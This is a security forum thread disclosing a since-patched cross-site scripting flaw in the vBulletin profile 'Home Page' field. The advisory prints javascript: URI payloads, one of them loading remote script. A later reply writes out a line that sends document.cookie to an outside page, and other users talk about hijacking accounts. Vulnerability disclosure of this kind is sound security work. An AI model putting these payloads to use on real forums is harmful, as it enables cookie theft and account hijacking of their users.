Exploits, Vulnerabilities & PoCs Got information about the above?

InterN0T Affiliates:
EvilZonepy1337

SirCapsAlot.NET

Reply
 
LinkBack (13) Thread Tools Display Modes
  13 links from elsewhere to this Post. Click to view. #1  
Old 8th October 2009, 13:38
MaXe's Avatar
Studying shellcode..
 
Join Date: Jun 2008
Location: Sweden - Ljusdal
Posts: 3,404
Blog Entries: 36
Rep Power: 10
Reputation: 198
MaXe has made his way up the systemMaXe has made his way up the system
vBulletin 3.8.4 - Cross Site Script Redirection

vBulletin - Cross Site Script Redirection


Versions Affected: 3.8.4 / 3.7.6 / 3.6.12
Patches Available: 3.8.4PL1 / 3.7.6PL1 / 3.6.12PL1

Info: An XSS flaw within the user profile page has recently been discovered.
This could allow an attacker to carry out an action as a user or obtain
access to a user's account. To resolve this issue, it has been necessary to
release a patch level version of the active versions of vBulletin.

The upgrade process is the same as previous patch level releases - simply
download the patch from the Members Area, extract the files and upload to
your webserver, overwriting the existing files. There is no upgrade script
required.

As with all security-based releases, we recommend that all customers
upgrade as soon as possible in order to prevent any potential damage
resulting from the flaw being exploited.

Credits: The original finder of the security hole. (Jelsoft?)

Researched & Disclosed by: MaXe (InterN0T.net)

References:
http://www.vbulletin.com/forum/showthread.php?t=319572


The Advisory
Quote:
The "Home Page" field in the user profile was only checking the user input
for either "www" or the following regular expression written in normal text:
Any letter from A to Z and/or a number from 0-9 + :// will make the link valid.

The output in the Home Page field is encoded with most likely htmlspecialchars(),
however before the patch it did not check if a user would create a link that
would send an unknowing user to either the data: or javascript URI scheme.

The only limits in the Home Page field are:
- 90 character limit
- Characters will be converted to html entities.
- We can only use the data or javascript URI scheme.

This means that we should avoid " since that becomes " .. The other
characters like < will become &lt; which is %3C which is almost the same.
Please see how htmlentities() and htmlspecialchars() works in PHP.

The following scheme input as home page will alert 0:
javascript://%0adocument.write('<script>alert(0)</script>')

The following scheme is a Proof of Concept that external Javascript can be loaded:
javascript://%0adocument.write('<script src=http://intern0t.net/.k></script>')

The following URL contains a working Proof of Concept on the Contact Page:
http://forum.intern0t.net/members/maxe.html (will be removed soon)
Solution
Update to the newest version of vBulletin - 3.8.4PL1 / 3.7.6PL1 / 3.6.12PL1


Conclusion
vBulletin is generally a safe and secure platform to use for large forums.
This security hole / exploit is implausible to actually work against people.
Please see: http://forum.intern0t.net/blogs/maxe...scripting.html for more information!

Disclosure Information:
- Unknown date of when the vendor found the security hole.
- Vendor released patch on the 7th October 2009.
- Security hole researched and disclosed on 8th October 2009.


All of the best,
MaXe
__________________

Quote:
Originally Posted by Norph
MaXe, I really doubt that you are able to browse ANY site more than 2 minutes before you start pwning it xD
Reply With Quote
  #2  
Old 9th October 2009, 00:53
System's Avatar
 
Join Date: Jun 2008
Posts: 309
Rep Power: 10
Reputation: 33
System is on the way to become something
Re: vBulletin 3.8.4 - Cross Site Script Redirection

O_O shweet find! lol

/pwn going around everywhere
__________________
"BackTrack is the fastest way to go from boot to remote root." - H.D. Moore
Reply With Quote
  #3  
Old 12th November 2009, 09:47
zero's Avatar
 
Join Date: Sep 2009
Posts: 22
Rep Power: 4
Reputation: 1
zero is an unknown memory address at this point
Re: vBulletin 3.8.4 - Cross Site Script Redirection

so ?
how to hack vbulletin?? :D
__________________
-= newbie permanent was here =-
visit my blog @ http://zerofreedom.wordpress.com
Reply With Quote
  #4  
Old 12th November 2009, 09:59
Norph's Avatar
 
Join Date: Oct 2009
Location: Denmark
Posts: 371
Rep Power: 6
Reputation: 78
Norph will become a Token soon
Re: vBulletin 3.8.4 - Cross Site Script Redirection

Read the post. The version of vBulleting is vulnerable to XSS.
Read up on XSS. ;)
Reply With Quote
  #5  
Old 13th November 2009, 13:51
zero's Avatar
 
Join Date: Sep 2009
Posts: 22
Rep Power: 4
Reputation: 1
zero is an unknown memory address at this point
Re: vBulletin 3.8.4 - Cross Site Script Redirection

what we can do with XSS ?
just cookie stealer or else?
__________________
-= newbie permanent was here =-
visit my blog @ http://zerofreedom.wordpress.com
Reply With Quote
  #6  
Old 13th November 2009, 23:06
 
Join Date: Sep 2009
Posts: 84
Rep Power: 4
Reputation: 1
ccoder is an unknown memory address at this point
Re: vBulletin 3.8.4 - Cross Site Script Redirection

cookie stealing and sesson hijacking are the most dangerous one !

but there are more ! like coding xss worm , or making ddos by persistance xss !

also there are some powerfull tools like BeEF .

google it ;)
__________________
I love InterN0T
Reply With Quote
  #7  
Old 16th May 2010, 23:29
 
Join Date: May 2010
Posts: 2
Rep Power: 2
Reputation: 1
Neo139 is an unknown memory address at this point
Re: vBulletin 3.8.4 - Cross Site Script Redirection

I was checking this bug and even if we use a js file with a code like
window.location="http://yourpage.com/bob.php?q="+document.cookie;
it will only send bblastvisit=value1; bblastactivity=value2
because bbsessionhash cookie is sent by vbulletin as HttpOnly. We can't access to it through clientside (tested with FF 3.6.4 and IE 6.0)
Reply With Quote
  #8  
Old 19th May 2010, 16:19
MaXe's Avatar
Studying shellcode..
 
Join Date: Jun 2008
Location: Sweden - Ljusdal
Posts: 3,404
Blog Entries: 36
Rep Power: 10
Reputation: 198
MaXe has made his way up the systemMaXe has made his way up the system
Re: vBulletin 3.8.4 - Cross Site Script Redirection

Quote:
Originally Posted by Neo139 View Post
I was checking this bug and even if we use a js file with a code like
window.location="http://yourpage.com/bob.php?q="+document.cookie;
it will only send bblastvisit=value1; bblastactivity=value2
because bbsessionhash cookie is sent by vbulletin as HttpOnly. We can't access to it through clientside (tested with FF 3.6.4 and IE 6.0)
That doesn't necessarily mean that you cannot hack a user though

Thanks for the information though :)
__________________

Quote:
Originally Posted by Norph
MaXe, I really doubt that you are able to browse ANY site more than 2 minutes before you start pwning it xD
Reply With Quote
  #9  
Old 19th May 2010, 17:57
 
Join Date: May 2010
Posts: 2
Rep Power: 2
Reputation: 1
Neo139 is an unknown memory address at this point
Re: vBulletin 3.8.4 - Cross Site Script Redirection

Quote:
Originally Posted by MaXe View Post
That doesn't necessarily mean that you cannot hack a user though

Thanks for the information though :)
what can we do? give me ideas =P

it also works in vBulletin® Version 3.7.5
Reply With Quote
  #10  
Old 19th May 2010, 22:45
 
Join Date: May 2010
Posts: 1
Rep Power: 2
Reputation: 1
Watermagician is an unknown memory address at this point
Re: vBulletin 3.8.4 - Cross Site Script Redirection

Yes, a hint would be nice =) I have the same problem =/

EDIT: I found a solution :) Just need to hide the javascript somehow =/

Last edited by Watermagician; 19th May 2010 at 23:41.
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are On


LinkBacks (?)
LinkBack to this Thread: http://forum.intern0t.net/exploits-vulnerabilities-pocs/1502-vbulletin-3-8-4-cross-site-script-redirection.html
Posted By For Type Date
TWW - ATTN: Trey Holland This thread Refback 18th August 2010 19:12
TWW - ATTN: Trey Holland This thread Refback 18th August 2010 18:50
vBulletin Home Page??HTML???? | Web Application Vulnerability Database | ????WEB????????????????????? This thread Refback 18th May 2010 16:27
vBulletin User Profile Script Insertion Vulnerability - Securelist This thread Refback 20th April 2010 17:02
Analyzing Popular CMSs: Are vBulletin Users at Risk? – stopthehacker.com – Jaal, LLC This thread Refback 8th April 2010 00:07
Sito (o server) BUCATO !!! This thread Refback 7th March 2010 14:03
Vbulletin 3.8.4 This thread Refback 16th January 2010 00:26
Untitled document This thread Refback 6th January 2010 07:18
JavaScript Protocol Comment Newline Injection ha.ckers.org web application security lab This thread Refback 14th October 2009 16:40
Viruslist.com - vBulletin User Profile Script Insertion Vulnerability This thread Refback 10th October 2009 16:15
58711: vBulletin User Profile Home Page Parameter XSS This thread Refback 10th October 2009 04:48
Bugtraq: vBulletin - Multiple Versions - Cross Site Script Redirection This thread Refback 9th October 2009 17:58
vBulletin User Profile Script Insertion Vulnerability - Secunia Advisories - Vulnerability Information - Secunia.com This thread Refback 9th October 2009 10:59

Similar Threads
Thread Thread Starter Forum Replies Last Post
Cross Site Scripting via POST-requests MaXe Web Hacking & War Games 7 8th June 2010 16:37
[Guide] Cross Site Scripting - Attack and Defense guide hestas Web Hacking & War Games 6 26th March 2010 15:13
FBI XSS / Cross Site Scripting Vulnerability MaXe Exploits, Vulnerabilities & PoCs 2 28th January 2009 08:34


All times are GMT +2. The time now is 13:53.
Copyright ©2007 - Forever, InterN0T & Teh Unkwon

Hosted by 1and1